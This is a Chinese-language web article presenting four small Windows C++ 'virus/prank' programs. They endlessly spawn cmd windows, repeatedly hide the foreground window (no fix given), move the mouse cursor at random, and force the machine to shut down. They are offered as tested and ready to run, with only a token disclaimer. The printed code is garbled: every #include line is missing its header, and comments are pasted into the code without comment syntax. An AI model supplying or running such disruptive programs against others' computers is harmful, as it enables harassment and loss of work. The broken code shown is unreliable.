c++病毒/恶搞代码大全( 上 )
•
编程语言
注:以下代码应勿用于非法(Dev-c++5.11实测可用)
1:
效果:无限生成cmd
解决方法:关闭程序即可
#include
#include
using namespace std;
int main()
{
while(1)system("start cmd");
}
2:
效果:使鼠标所点应用消失
解决方法:暂无
#include
#include
using namespace std;
int main()
{
while(1)
{
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
}
}
3:
效果:使鼠标乱飞
解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭
#include
#include
using namespace std;
int main()
{
while(1)
{
SetCursorPos(rand()%1000,rand()%1000);
}
}
4:
效果:立刻或定时关机
解决方法:cmd(Win+R,输入:cmd),输入shutdown -a
#include
#include
using namespace std;
int main()
{
system("shutdown -s -t 60");->1分钟
system("shutdown -p");->立刻
}
本文来自网络,不代表协通编程立场,如若转载,请注明出处:https://net2asp.com/a4ba34397d.html
